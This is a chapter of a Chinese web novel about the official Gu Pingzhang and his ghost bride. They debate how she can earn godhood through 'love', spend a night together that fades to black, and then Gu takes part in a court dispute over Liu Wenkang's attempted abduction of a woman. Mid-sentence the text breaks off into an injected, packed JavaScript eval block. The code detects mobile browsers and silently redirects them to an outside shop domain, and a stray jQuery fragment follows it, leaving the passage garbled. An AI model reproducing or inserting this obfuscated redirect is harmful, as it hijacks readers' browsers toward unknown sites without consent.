“夫君你说,这个‘爱’指的是哪个方面的?是需要满足某一个还是全部?”
柳文庥溜了,留在原地的鬼新娘杵着下巴转头找一旁的顾平章参谋。
夫君就是拿来用的。
此时不用更待何时。
顾平章耷拉下眼皮,沉吟了片刻后,缓缓开口:“爱通常可分为亲情之爱、友情之爱、爱情之爱三种,除此之外,还有心怀天下、关怀自然生灵的博爱。”
“前三种属于小爱,只关注具体某个范畴的人,最后一种属于大爱,面向的是家国天下和芸芸众生。”
“如果我没记错的话,夫人是想晋升鬼神之位。”
顾平章抬眼转头向鬼新娘求证。
“没错。”鬼新娘点头应是。
得到鬼新娘的证实,顾平章接着说:“不管是在民间百姓口口相传的神话传说中,还是道教典籍里,神仙普遍讲求慈悲为怀,他们济世度人,劝人向善。”
经过顾平章一分析,鬼新娘算是明白了:“所以夫君的意思是,我需要去做好事,行善积德关爱世人?”
“有很大的可能,但也不排除其他,”顾平章没有把话说死,“善言天者必有征于人,目前这些都还只是主观臆测,实际如何需要我们经过事实验证才能得知。”
“或者我改日下朝的时候去司天台问问柳文庥具体情况。”
鬼新娘认为没必要:“不用去找他了,浪费时间,我觉得夫君说的很对,我们择日不如撞日,这就去做好人好事吧!”
顾平章只是说可能性大,但鬼新娘越琢磨越觉得有道理,心里直接把概率提溜到100%。
兴冲冲拉着顾平章就要往外闯。
“夫人等等,此事不急。”
顾平章赶在被带飞上天之前,否决了鬼新娘的提议,鬼新娘疑惑不解问:“难道夫君还有其他想法?”
她眼里带着几分躁动。
行动力超强的鬼新娘向来都是想到什么做什么,拖着不让她去执行,她就感觉浑身跟蚂蚁爬一样,忒不舒服。
“夫人且随我来。”
顾平章拉起鬼新娘被深红色长甲衬得愈发苍白没有血色的手。
经过昨晚一役,记住了顾平章气息的鬼新娘在被他触碰到时,下意识地收起削铁如泥的尖锐指甲,免得误伤了她的鬼新郎。
顾平章留意到这一点,他嘴角勾起,牵着鬼新娘出门走到院子里头,面朝西边,手指着太阳落山后天边残留的点点余晖。
“现在外头太阳已经落山,昼刻已尽,夫人仔细听,还能听到顺天门敲闭门鼓的声音。”
远处确实有一阵鼓声传来,“但他们擂鼓跟我们出去有什么关系?”鬼新娘歪头。
鬼新娘常年待在鬼镇与世隔绝,不懂得人间的规矩,被顾平章这么一讲,她顿时有些懵圈。
这触碰到鬼新娘知识盲区了。
顾平章早有所料。
从昨晚到现在,摸清鬼新娘的单纯程度之后,他对鬼新娘的不谙世事已经有了一个初步的心理预期。
顾平章给鬼新娘做科普:“夫人可能不知道,这是大乾规定的宵禁时间,行人无故不能在街道上游荡,大家基本上都待在自己家里休息。”
鬼新娘瞳孔瞪圆:“那我们岂不是找不到人惩恶扬善了!”
“宵禁后肯定是不行了。”顾平章肯定道,鬼新娘天塌了。
顾平章哭笑不得:“心急吃不了热豆腐,我们等到明早寅时过后再出去不迟,不一定要赶在今天开始。”
一人一鬼站在屋外聊天,顾平章也不怕被下人撞见府上来了个一身新娘子打扮的陌生姑娘。
——先前约柳文庥来右相府私下谈话,为了避人耳目,顾平章就没留人在院子里伺候。
如今倒是方便了他和鬼新娘花前月下,培养夫妻感情。
虽然出卖自己的婚姻很可耻,但是顾平章需要给自己这边增添砝码,鬼新娘也需要一个鬼新郎成亲,他们各取所需,没什么不好的。
他们这样的人和鬼,哪来的什么爱情啊。这样想着,顾平章捏了捏掌心里鬼新娘冰凉的手指头,试图将自己的温度传递过去,把它们捂热。
鬼新娘感觉有点痒,想抽出来,又被顾平章握着,试了几下后选择了放弃,就那么别别扭扭地手拉着手。
还是痒痒的。
鬼新娘蜷了蜷手指,缓解这种奇怪的感觉。
被握得更紧了。
喜欢。鬼新娘眉眼弯弯。
顾平章还在说一些宽慰的话,但鬼新娘的注意力已经不在这个话题上了,她现在有了更想做的事情。
鬼新娘一本正经胡言乱语:“夫君,我觉得在试验这个‘文’的方法行不行得通之前,我们可以抓住空闲时间再试试‘武’的方法。”
“武的方法?”
顾平章忍不住露出疑惑的表情。
什么文的武的方法?
他们刚刚有聊到这个吗?
“没错,就是‘武’的方法。”
鬼新娘化被动为主动,手指交叉扣进顾平章的指头缝隙里。
她晃了晃十指相扣的两只手,煞有其事道:“臭道士说的‘爱’,也不一定是指情感不是?我们先尝试一下排除其他选项。”
“就算这‘武’的方法不成,还能增进一下夫妻和谐,总归不亏。”
鬼新娘话都说到这里了,顾平章哪还有不明白的道理。
他想起了早上起床时的腰,想起了太医们意味深长的表情和医嘱。
“……夫人,我觉得这个我们可以后天再试,为夫明早还要上早朝,唯恐过犹不及啊。”
想到下了马车,还要走一大段路去上朝,顾平章十动然拒。
要是还像今天这样,明天从宫门到宣政殿的那段路,他总不能一瘸一拐地走过去吧?
要留清白在人间啊!
一朝开荤得了趣的鬼新娘表示,你说得很好,但我不采纳。
她扛起顾平章就往屋里走。
“夫君别担心,我一定让你明天能活蹦乱跳地去上早朝。”
顾平章将信将疑。
在顾平章犹疑的目光中,两扇房门“嘭”的一声在他眼前关上。
已经没有后退的余地了。
一层一层,纷纷扬扬飘落在地。
一步一步,欲拒还迎反客为主。
十指紧扣不肯分开,骨节分明又极具观赏性的两只手死死扣在一起。
一只手的青筋鼓动,传递到另一只手上,炽热的脉搏存在感强烈。
……
第二天寅时。
昨晚分明没少折腾,但和第一天的酸软不一样,这次顾平章起床的时候,直感觉浑身神清气爽。
——鬼新娘的魂力疏导奏效了。
鬼新娘不需要睡觉,感受到顾平章醒来的动静,她也跟着把合上的眼睛睁开。
“感觉怎么样夫君?”说着,她手就要往顾平章的腰上放。
“夫人别闹。”
顾平章赶紧抓住她的手没让她摸上去,大清早的,可不兴这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911549|213127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个。
下人已经在外面敲门叫起了,要是被他们听到什么看到什么,对她影响多不好。
顾平章叮嘱:“夫人注意隐身别让下人看到。”
昨晚顾平章和鬼新娘聊了聊,问她要不要显形和他光明正大在一起。
鬼新娘在鬼镇自在潇洒惯了,不是很耐烦人间杂七杂八的规矩,一想到显形之后可能的麻烦,吓得她连连摇头,拒绝了顾平章的好意。
“知道了知道了。”鬼新娘隐去身形,好让顾平章叫人进来。
他们胡闹的痕迹都被鬼新娘用法术清理得干干净净,只要没被下人撞个正着,就不怕他们发现什么。
顾平章和往常一样在下人的伺候下穿戴洗漱,然后上朝。
宣政殿上。
被顾平章授意拿柳文康当街强抢民女一事,参左相和国师一本的蒋御史正在和柳文庥你一言我一语,辩得面红耳赤。
嗯,是蒋御史一个人面红耳赤。
不出意外被柳文庥逮着小辫子使劲拽的蒋御史,涨红了脸,在柳文庥辛辣的语言攻势下节节败退,
顾平章还在等他上场的时刻。
中间无聊地溜号了下。
他想到鬼新娘隐身跟着他来上朝了,也不知道现在在做什么。
鬼新娘正顶着柳文庥炯炯有神的目光吃瓜看戏,时不时给蒋御史加油打气,给柳文庥喝倒彩,气得柳文庥差点破音。
顾平章不知道这些,还在思考,要怎么才能让鬼新娘在助人为乐的同时,不吓着其他人。
看不见的鬼吓人。
看得见的鬼也吓人。
夫人的肤色和眼睛跟常人相比,着实与众不同,待会下朝去问问柳文庥有没有好办法。顾平章想着。
掐着蒋御史碰了一鼻子灰,支撑不住讪讪下场的时间,顾平章适时站出队伍前列。
“皇上,臣有话要说。”
“顾爱卿请讲。”皇上高坐在龙椅上,俯视着阶下的臣子们斗法。
他喜欢这样的戏码。
底下的人斗得越欢,他屁股底下的龙椅才坐得越稳。
顾平章按照之前就商量好的话术说道:“诚然如柳国师所言,其弟柳文康强抢民女没有得逞,没有造成不可挽回的,事后上门道歉也得到了苦主的谅解,认错态度端正。”
就在皇上和众臣以为顾平章今天转性了,要替柳文庥说话时,顾平章话锋一转:
“然臣以为律法威严不容侵犯,做了便是做了,不能因为强抢未遂,苦主不追究,就当作无事发生。”
“请皇上圣裁。”他拱手一揖。
皇上先看了眼对顾平章怒目而视的柳文庥,满意地移开视线,装作一脸为难,问低着头沉默的左相对此怎么看。
左相诚惶诚恐俯身下拜:“是微臣管教不严,犬子犯下如此过错,但凭皇上处置绝无怨言。”
各方该给的态度都齐活了,轮到压轴出场的皇上表态了。
“柳文康有错是该罚。”
皇上顿了一下,在左相和柳文庥紧张不已的表情中,把话说完。
“但法不容情,法不外乎人情,念在柳文康初犯且未造成严重后果,朕再给他一次机会——”
“柳文康杖责三十小惩大诫。”
“左相和国师管教不严,夺半年俸禄如何?”
柳文庥和左相连忙谢恩:“微臣遵旨,谢皇上隆恩!”
皇上点点头,看向顾平章:“顾爱卿认为如何?”
“皇上圣明,臣没有异议。”